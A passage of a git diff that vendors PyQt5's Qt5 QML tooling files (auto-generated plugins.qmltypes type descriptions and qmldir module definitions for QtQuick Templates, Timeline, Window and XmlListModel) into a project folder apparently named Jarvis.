"bottomPaddingChanged"; revision: 6 } + Method { name: "selectAll" } + Method { name: "selectWord" } + Method { + name: "select" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "deselect" } + Method { + name: "isRightToLeft" + type: "bool" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "cut" } + Method { name: "copy" } + Method { name: "paste" } + Method { name: "undo" } + Method { name: "redo" } + Method { + name: "insert" + Parameter { name: "position"; type: "int" } + Parameter { name: "text"; type: "string" } + } + Method { + name: "remove" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "ensureVisible" + revision: 4 + Parameter { name: "position"; type: "int" } + } + Method { name: "clear"; revision: 7 } + Method { + name: "positionAt" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "positionToRectangle" + type: "QRectF" + Parameter { name: "pos"; type: "int" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + Parameter { name: "mode"; type: "SelectionMode" } + } + Method { + name: "inputMethodQuery" + revision: 4 + type: "QVariant" + Parameter { name: "query"; type: "Qt::InputMethodQuery" } + Parameter { name: "argument"; type: "QVariant" } + } + Method { + name: "getText" + type: "string" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + } + Component { + name: "QQuickToolBar" + defaultProperty: "contentData" + prototype: "QQuickPane" + exports: ["QtQuick.Templates/ToolBar 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Position" + values: { + "Header": 0, + "Footer": 1 + } + } + Property { name: "position"; type: "Position" } + } + Component { + name: "QQuickToolButton" + defaultProperty: "data" + prototype: "QQuickButton" + exports: ["QtQuick.Templates/ToolButton 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickToolSeparator" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["QtQuick.Templates/ToolSeparator 2.1"] + exportMetaObjectRevisions: [0] + Property { name: "orientation"; type: "Qt::Orientation" } + Property { name: "horizontal"; type: "bool"; isReadonly: true } + Property { name: "vertical"; type: "bool"; isReadonly: true } + } + Component { + name: "QQuickToolTip" + defaultProperty: "contentData" + prototype: "QQuickPopup" + exports: [ + "QtQuick.Templates/ToolTip 2.0", + "QtQuick.Templates/ToolTip 2.5" + ] + exportMetaObjectRevisions: [0, 5] + attachedType: "QQuickToolTipAttached" + Property { name: "delay"; type: "int" } + Property { name: "timeout"; type: "int" } + Property { name: "text"; type: "string" } + Method { + name: "show" + revision: 5 + Parameter { name: "text"; type: "string" } + Parameter { name: "ms"; type: "int" } + } + Method { + name: "show" + revision: 5 + Parameter { name: "text"; type: "string" } + } + Method { name: "hide"; revision: 5 } + } + Component { + name: "QQuickToolTipAttached" + prototype: "QObject" + Property { name: "text"; type: "string" } + Property { name: "delay"; type: "int" } + Property { name: "timeout"; type: "int" } + Property { name: "visible"; type: "bool" } + Property { name: "toolTip"; type: "QQuickToolTip"; isReadonly: true; isPointer: true } + Method { + name: "show" + Parameter { name: "text"; type: "string" } + Parameter { name: "ms"; type: "int" } + } + Method { + name: "show" + Parameter { name: "text"; type: "string" } + } + Method { name: "hide" } + } + Component { + name: "QQuickTumbler" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/Tumbler 2.0", + "QtQuick.Templates/Tumbler 2.1", + "QtQuick.Templates/Tumbler 2.2" + ] + exportMetaObjectRevisions: [0, 1, 2] + attachedType: "QQuickTumblerAttached" + Enum { + name: "PositionMode" + values: { + "Beginning": 0, + "Center": 1, + "End": 2, + "Visible": 3, + "Contain": 4, + "SnapPosition": 5 + } + } + Property { name: "model"; type: "QVariant" } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "currentIndex"; type: "int" } + Property { name: "currentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "visibleItemCount"; type: "int" } + Property { name: "wrap"; revision: 1; type: "bool" } + Property { name: "moving"; revision: 2; type: "bool"; isReadonly: true } + Signal { name: "wrapChanged"; revision: 1 } + Signal { name: "movingChanged"; revision: 2 } + Method { + name: "positionViewAtIndex" + revision: 5 + Parameter { name: "index"; type: "int" } + Parameter { name: "mode"; type: "PositionMode" } + } + } + Component { + name: "QQuickTumblerAttached" + prototype: "QObject" + Property { name: "tumbler"; type: "QQuickTumbler"; isReadonly: true; isPointer: true } + Property { name: "displacement"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickVerticalHeaderView" + defaultProperty: "flickableData" + prototype: "QQuickHeaderViewBase" + exports: ["QtQuick.Templates/VerticalHeaderView 2.15"] + exportMetaObjectRevisions: [0] + attachedType: "QQuickTableViewAttached" + } + Component { + name: "QQuickWindow" + defaultProperty: "data" + prototype: "QWindow" + Enum { + name: "CreateTextureOptions" + values: { + "TextureHasAlphaChannel": 1, + "TextureHasMipmaps": 2, + "TextureOwnsGLTexture": 4, + "TextureCanUseAtlas": 8, + "TextureIsOpaque": 16 + } + } + Enum { + name: "SceneGraphError" + values: { + "ContextNotAvailable": 1 + } + } + Enum { + name: "TextRenderType" + values: { + "QtTextRendering": 0, + "NativeTextRendering": 1 + } + } + Enum { + name: "NativeObjectType" + values: { + "NativeObjectTexture": 0 + } + } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "color"; type: "QColor" } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { + name: "activeFocusItem" + revision: 1 + type: "QQuickItem" + isReadonly: true + isPointer: true + } + Signal { name: "frameSwapped" } + Signal { + name: "openglContextCreated" + revision: 2 + Parameter { name: "context"; type: "QOpenGLContext"; isPointer: true } + } + Signal { name: "sceneGraphInitialized" } + Signal { name: "sceneGraphInvalidated" } + Signal { name: "beforeSynchronizing" } + Signal { name: "afterSynchronizing"; revision: 2 } + Signal { name: "beforeRendering" } + Signal { name: "afterRendering" } + Signal { name: "afterAnimating"; revision: 2 } + Signal { name: "sceneGraphAboutToStop"; revision: 2 } + Signal { + name: "closing" + revision: 1 + Parameter { name: "close"; type: "QQuickCloseEvent"; isPointer: true } + } + Signal { + name: "colorChanged" + Parameter { type: "QColor" } + } + Signal { name: "activeFocusItemChanged"; revision: 1 } + Signal { + name: "sceneGraphError" + revision: 2 + Parameter { name: "error"; type: "QQuickWindow::SceneGraphError" } + Parameter { name: "message"; type: "string" } + } + Signal { name: "beforeRenderPassRecording"; revision: 14 } + Signal { name: "afterRenderPassRecording"; revision: 14 } + Method { name: "update" } + Method { name: "releaseResources" } + } + Component { + name: "QQuickWindowQmlImpl" + defaultProperty: "data" + prototype: "QQuickWindow" + Property { name: "visible"; type: "bool" } + Property { name: "visibility"; type: "Visibility" } + Property { name: "screen"; revision: 3; type: "QObject"; isPointer: true } + Signal { + name: "visibleChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "visibilityChanged" + Parameter { name: "visibility"; type: "QWindow::Visibility" } + } + Signal { name: "screenChanged"; revision: 3 } + } + Component { + name: "QWindow" + prototype: "QObject" + Enum { + name: "Visibility" + values: { + "Hidden": 0, + "AutomaticVisibility": 1, + "Windowed": 2, + "Minimized": 3, + "Maximized": 4, + "FullScreen": 5 + } + } + Enum { + name: "AncestorMode" + values: { + "ExcludeTransients": 0, + "IncludeTransients": 1 + } + } + Property { name: "title"; type: "string" } + Property { name: "modality"; type: "Qt::WindowModality" } + Property { name: "flags"; type: "Qt::WindowFlags" } + Property { name: "x"; type: "int" } + Property { name: "y"; type: "int" } + Property { name: "width"; type: "int" } + Property { name: "height"; type: "int" } + Property { name: "minimumWidth"; type: "int" } + Property { name: "minimumHeight"; type: "int" } + Property { name: "maximumWidth"; type: "int" } + Property { name: "maximumHeight"; type: "int" } + Property { name: "visible"; type: "bool" } + Property { name: "active"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "visibility"; revision: 1; type: "Visibility" } + Property { name: "contentOrientation"; type: "Qt::ScreenOrientation" } + Property { name: "opacity"; revision: 1; type: "double" } + Property { name: "transientParent"; revision: 13; type: "QWindow"; isPointer: true } + Signal { + name: "screenChanged" + Parameter { name: "screen"; type: "QScreen"; isPointer: true } + } + Signal { + name: "modalityChanged" + Parameter { name: "modality"; type: "Qt::WindowModality" } + } + Signal { + name: "windowStateChanged" + Parameter { name: "windowState"; type: "Qt::WindowState" } + } + Signal { + name: "windowTitleChanged" + revision: 2 + Parameter { name: "title"; type: "string" } + } + Signal { + name: "xChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "yChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "widthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "heightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "minimumWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "minimumHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "maximumWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "maximumHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "visibleChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "visibilityChanged" + revision: 1 + Parameter { name: "visibility"; type: "QWindow::Visibility" } + } + Signal { name: "activeChanged"; revision: 1 } + Signal { + name: "contentOrientationChanged" + Parameter { name: "orientation"; type: "Qt::ScreenOrientation" } + } + Signal { + name: "focusObjectChanged" + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "opacityChanged" + revision: 1 + Parameter { name: "opacity"; type: "double" } + } + Signal { + name: "transientParentChanged" + revision: 13 + Parameter { name: "transientParent"; type: "QWindow"; isPointer: true } + } + Method { name: "requestActivate"; revision: 1 } + Method { + name: "setVisible" + Parameter { name: "visible"; type: "bool" } + } + Method { name: "show" } + Method { name: "hide" } + Method { name: "showMinimized" } + Method { name: "showMaximized" } + Method { name: "showFullScreen" } + Method { name: "showNormal" } + Method { name: "close"; type: "bool" } + Method { name: "raise" } + Method { name: "lower" } + Method { + name: "startSystemResize" + type: "bool" + Parameter { name: "edges"; type: "Qt::Edges" } + } + Method { name: "startSystemMove"; type: "bool" } + Method { + name: "setTitle" + Parameter { type: "string" } + } + Method { + name: "setX" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setY" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setWidth" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setHeight" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setGeometry" + Parameter { name: "posx"; type: "int" } + Parameter { name: "posy"; type: "int" } + Parameter { name: "w"; type: "int" } + Parameter { name: "h"; type: "int" } + } + Method { + name: "setGeometry" + Parameter { name: "rect"; type: "QRect" } + } + Method { + name: "setMinimumWidth" + Parameter { name: "w"; type: "int" } + } + Method { + name: "setMinimumHeight" + Parameter { name: "h"; type: "int" } + } + Method { + name: "setMaximumWidth" + Parameter { name: "w"; type: "int" } + } + Method { + name: "setMaximumHeight" + Parameter { name: "h"; type: "int" } + } + Method { + name: "alert" + revision: 1 + Parameter { name: "msec"; type: "int" } + } + Method { name: "requestUpdate"; revision: 3 } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/qmldir new file mode 100644 index 00000000..9f3773a8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/qmldir @@ -0,0 +1,5 @@ +module QtQuick.Templates +plugin qtquicktemplates2plugin +classname QtQuickTemplates2Plugin +depends QtQuick.Window 2.2 +depends QtQuick 2.9 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/qtquicktemplates2plugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/qtquicktemplates2plugin.dll new file mode 100644 index 00000000..79c8feb4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/qtquicktemplates2plugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/plugins.qmltypes new file mode 100644 index 00000000..84191294 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/plugins.qmltypes @@ -0,0 +1,52 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.Timeline 1.0' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QQuickKeyframe" + prototype: "QObject" + exports: ["QtQuick.Timeline/Keyframe 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "frame"; type: "double" } + Property { name: "easing"; type: "QEasingCurve" } + Property { name: "value"; type: "QVariant" } + Signal { name: "easingCurveChanged" } + } + Component { + name: "QQuickKeyframeGroup" + defaultProperty: "keyframes" + prototype: "QObject" + exports: ["QtQuick.Timeline/KeyframeGroup 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "target"; type: "QObject"; isPointer: true } + Property { name: "property"; type: "string" } + Property { name: "keyframes"; type: "QQuickKeyframe"; isList: true; isReadonly: true } + } + Component { + name: "QQuickTimeline" + defaultProperty: "keyframeGroups" + prototype: "QObject" + exports: ["QtQuick.Timeline/Timeline 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "startFrame"; type: "double" } + Property { name: "endFrame"; type: "double" } + Property { name: "currentFrame"; type: "double" } + Property { name: "keyframeGroups"; type: "QQuickKeyframeGroup"; isList: true; isReadonly: true } + Property { name: "animations"; type: "QQuickTimelineAnimation"; isList: true; isReadonly: true } + Property { name: "enabled"; type: "bool" } + } + Component { + name: "QQuickTimelineAnimation" + prototype: "QQuickNumberAnimation" + exports: ["QtQuick.Timeline/TimelineAnimation 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "pingPong"; type: "bool" } + Signal { name: "finished" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/qmldir new file mode 100644 index 00000000..29060c58 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/qmldir @@ -0,0 +1,5 @@ +module QtQuick.Timeline +plugin qtquicktimelineplugin +classname QtQuickTimelinePlugin +typeinfo plugins.qmltypes +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/qtquicktimelineplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/qtquicktimelineplugin.dll new file mode 100644 index 00000000..5682ce1d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Timeline/qtquicktimelineplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/plugins.qmltypes new file mode 100644 index 00000000..3ff3b618 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/plugins.qmltypes @@ -0,0 +1,409 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + file: "plugin.h" + name: "QQuickRootItem" + defaultProperty: "data" + prototype: "QQuickItem" + Method { + name: "setWidth" + Parameter { name: "w"; type: "int" } + } + Method { + name: "setHeight" + Parameter { name: "h"; type: "int" } + } + } + Component { + file: "plugin.h" + name: "QQuickScreen" + prototype: "QObject" + exports: [ + "QtQuick.Window/Screen 2.0", + "QtQuick.Window/Screen 2.10", + "QtQuick.Window/Screen 2.3" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 10, 3] + attachedType: "QQuickScreenAttached" + } + Component { + file: "plugin.h" + name: "QQuickScreenAttached" + prototype: "QQuickScreenInfo" + Property { name: "orientationUpdateMask"; type: "Qt::ScreenOrientations" } + Method { + name: "screenChanged" + Parameter { type: "QScreen"; isPointer: true } + } + Method { + name: "angleBetween" + type: "int" + Parameter { name: "a"; type: "int" } + Parameter { name: "b"; type: "int" } + } + } + Component { + file: "plugin.h" + name: "QQuickScreenInfo" + prototype: "QObject" + exports: [ + "QtQuick.Window/ScreenInfo 2.10", + "QtQuick.Window/ScreenInfo 2.3" + ] + isCreatable: false + exportMetaObjectRevisions: [10, 3] + Property { name: "name"; type: "string"; isReadonly: true } + Property { name: "manufacturer"; revision: 10; type: "string"; isReadonly: true } + Property { name: "model"; revision: 10; type: "string"; isReadonly: true } + Property { name: "serialNumber"; revision: 10; type: "string"; isReadonly: true } + Property { name: "width"; type: "int"; isReadonly: true } + Property { name: "height"; type: "int"; isReadonly: true } + Property { name: "desktopAvailableWidth"; type: "int"; isReadonly: true } + Property { name: "desktopAvailableHeight"; type: "int"; isReadonly: true } + Property { name: "logicalPixelDensity"; type: "double"; isReadonly: true } + Property { name: "pixelDensity"; type: "double"; isReadonly: true } + Property { name: "devicePixelRatio"; type: "double"; isReadonly: true } + Property { name: "primaryOrientation"; type: "Qt::ScreenOrientation"; isReadonly: true } + Property { name: "orientation"; type: "Qt::ScreenOrientation"; isReadonly: true } + Property { name: "virtualX"; revision: 3; type: "int"; isReadonly: true } + Property { name: "virtualY"; revision: 3; type: "int"; isReadonly: true } + Signal { name: "manufacturerChanged"; revision: 10 } + Signal { name: "modelChanged"; revision: 10 } + Signal { name: "serialNumberChanged"; revision: 10 } + Signal { name: "desktopGeometryChanged" } + Signal { name: "virtualXChanged"; revision: 3 } + Signal { name: "virtualYChanged"; revision: 3 } + } + Component { + file: "plugin.h" + name: "QQuickWindow" + defaultProperty: "data" + prototype: "QWindow" + exports: ["QtQuick.Window/Window 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "CreateTextureOptions" + alias: "CreateTextureOption" + isFlag: true + values: [ + "TextureHasAlphaChannel", + "TextureHasMipmaps", + "TextureOwnsGLTexture", + "TextureCanUseAtlas", + "TextureIsOpaque" + ] + } + Enum { + name: "SceneGraphError" + values: ["ContextNotAvailable"] + } + Enum { + name: "TextRenderType" + values: ["QtTextRendering", "NativeTextRendering"] + } + Enum { + name: "NativeObjectType" + values: ["NativeObjectTexture"] + } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "color"; type: "QColor" } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { + name: "activeFocusItem" + revision: 1 + type: "QQuickItem" + isReadonly: true + isPointer: true + } + Signal { name: "frameSwapped" } + Signal { + name: "openglContextCreated" + revision: 2 + Parameter { name: "context"; type: "QOpenGLContext"; isPointer: true } + } + Signal { name: "sceneGraphInitialized" } + Signal { name: "sceneGraphInvalidated" } + Signal { name: "beforeSynchronizing" } + Signal { name: "afterSynchronizing"; revision: 2 } + Signal { name: "beforeRendering" } + Signal { name: "afterRendering" } + Signal { name: "afterAnimating"; revision: 2 } + Signal { name: "sceneGraphAboutToStop"; revision: 2 } + Signal { + name: "closing" + revision: 1 + Parameter { name: "close"; type: "QQuickCloseEvent"; isPointer: true } + } + Signal { + name: "colorChanged" + Parameter { type: "QColor" } + } + Signal { name: "activeFocusItemChanged"; revision: 1 } + Signal { + name: "sceneGraphError" + revision: 2 + Parameter { name: "error"; type: "QQuickWindow::SceneGraphError" } + Parameter { name: "message"; type: "string" } + } + Signal { name: "beforeRenderPassRecording"; revision: 14 } + Signal { name: "afterRenderPassRecording"; revision: 14 } + Method { name: "update" } + Method { name: "releaseResources" } + Method { name: "maybeUpdate" } + Method { name: "cleanupSceneGraph" } + Method { name: "physicalDpiChanged" } + Method { + name: "handleScreenChanged" + Parameter { name: "screen"; type: "QScreen"; isPointer: true } + } + Method { + name: "setTransientParent_helper" + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Method { name: "runJobsAfterSwap" } + Method { + name: "handleApplicationStateChanged" + Parameter { name: "state"; type: "Qt::ApplicationState" } + } + } + Component { + file: "plugin.h" + name: "QQuickWindowAttached" + prototype: "QObject" + Property { name: "visibility"; type: "QWindow::Visibility"; isReadonly: true } + Property { name: "active"; type: "bool"; isReadonly: true } + Property { name: "activeFocusItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "width"; type: "int"; isReadonly: true } + Property { name: "height"; type: "int"; isReadonly: true } + Property { name: "window"; type: "QQuickWindow"; isReadonly: true; isPointer: true } + Method { + name: "windowChange" + Parameter { type: "QQuickWindow"; isPointer: true } + } + } + Component { + file: "plugin.h" + name: "QQuickWindowQmlImpl" + defaultProperty: "data" + prototype: "QQuickWindow" + exports: [ + "QtQuick.Window/Window 2.1", + "QtQuick.Window/Window 2.13", + "QtQuick.Window/Window 2.14", + "QtQuick.Window/Window 2.2", + "QtQuick.Window/Window 2.3" + ] + exportMetaObjectRevisions: [1, 13, 14, 2, 3] + attachedType: "QQuickWindowAttached" + Property { name: "visible"; type: "bool" } + Property { name: "visibility"; type: "Visibility" } + Property { name: "screen"; revision: 3; type: "QObject"; isPointer: true } + Signal { + name: "visibleChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "visibilityChanged" + Parameter { name: "visibility"; type: "QWindow::Visibility" } + } + Signal { name: "screenChanged"; revision: 3 } + Method { name: "setWindowVisibility" } + } + Component { + file: "plugin.h" + name: "QWindow" + prototype: "QObject" + Enum { + name: "Visibility" + values: [ + "Hidden", + "AutomaticVisibility", + "Windowed", + "Minimized", + "Maximized", + "FullScreen" + ] + } + Enum { + name: "AncestorMode" + values: ["ExcludeTransients", "IncludeTransients"] + } + Property { name: "title"; type: "string" } + Property { name: "modality"; type: "Qt::WindowModality" } + Property { name: "flags"; type: "Qt::WindowFlags" } + Property { name: "x"; type: "int" } + Property { name: "y"; type: "int" } + Property { name: "width"; type: "int" } + Property { name: "height"; type: "int" } + Property { name: "minimumWidth"; type: "int" } + Property { name: "minimumHeight"; type: "int" } + Property { name: "maximumWidth"; type: "int" } + Property { name: "maximumHeight"; type: "int" } + Property { name: "visible"; type: "bool" } + Property { name: "active"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "visibility"; revision: 1; type: "Visibility" } + Property { name: "contentOrientation"; type: "Qt::ScreenOrientation" } + Property { name: "opacity"; revision: 1; type: "double" } + Property { name: "transientParent"; revision: 13; type: "QWindow"; isPointer: true } + Signal { + name: "screenChanged" + Parameter { name: "screen"; type: "QScreen"; isPointer: true } + } + Signal { + name: "modalityChanged" + Parameter { name: "modality"; type: "Qt::WindowModality" } + } + Signal { + name: "windowStateChanged" + Parameter { name: "windowState"; type: "Qt::WindowState" } + } + Signal { + name: "windowTitleChanged" + revision: 2 + Parameter { name: "title"; type: "string" } + } + Signal { + name: "xChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "yChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "widthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "heightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "minimumWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "minimumHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "maximumWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "maximumHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "visibleChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "visibilityChanged" + revision: 1 + Parameter { name: "visibility"; type: "QWindow::Visibility" } + } + Signal { name: "activeChanged"; revision: 1 } + Signal { + name: "contentOrientationChanged" + Parameter { name: "orientation"; type: "Qt::ScreenOrientation" } + } + Signal { + name: "focusObjectChanged" + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "opacityChanged" + revision: 1 + Parameter { name: "opacity"; type: "double" } + } + Signal { + name: "transientParentChanged" + revision: 13 + Parameter { name: "transientParent"; type: "QWindow"; isPointer: true } + } + Method { name: "requestActivate"; revision: 1 } + Method { + name: "setVisible" + Parameter { name: "visible"; type: "bool" } + } + Method { name: "show" } + Method { name: "hide" } + Method { name: "showMinimized" } + Method { name: "showMaximized" } + Method { name: "showFullScreen" } + Method { name: "showNormal" } + Method { name: "close"; type: "bool" } + Method { name: "raise" } + Method { name: "lower" } + Method { + name: "startSystemResize" + type: "bool" + Parameter { name: "edges"; type: "Qt::Edges" } + } + Method { name: "startSystemMove"; type: "bool" } + Method { + name: "setTitle" + Parameter { type: "string" } + } + Method { + name: "setX" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setY" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setWidth" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setHeight" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setGeometry" + Parameter { name: "posx"; type: "int" } + Parameter { name: "posy"; type: "int" } + Parameter { name: "w"; type: "int" } + Parameter { name: "h"; type: "int" } + } + Method { + name: "setGeometry" + Parameter { name: "rect"; type: "QRect" } + } + Method { + name: "setMinimumWidth" + Parameter { name: "w"; type: "int" } + } + Method { + name: "setMinimumHeight" + Parameter { name: "h"; type: "int" } + } + Method { + name: "setMaximumWidth" + Parameter { name: "w"; type: "int" } + } + Method { + name: "setMaximumHeight" + Parameter { name: "h"; type: "int" } + } + Method { + name: "alert" + revision: 1 + Parameter { name: "msec"; type: "int" } + } + Method { name: "requestUpdate"; revision: 3 } + Method { name: "_q_clearAlert" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/qmldir new file mode 100644 index 00000000..fb6202b3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/qmldir @@ -0,0 +1,5 @@ +module QtQuick.Window +plugin windowplugin +classname QtQuick2WindowPlugin +typeinfo plugins.qmltypes +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/windowplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/windowplugin.dll new file mode 100644 index 00000000..2ce0a687 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Window.2/windowplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/plugins.qmltypes new file mode 100644 index 00000000..a2072f2c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/XmlListModel/plugins.qmltypes @@ -0,0 +1,333 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.XmlListModel 2.15' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: 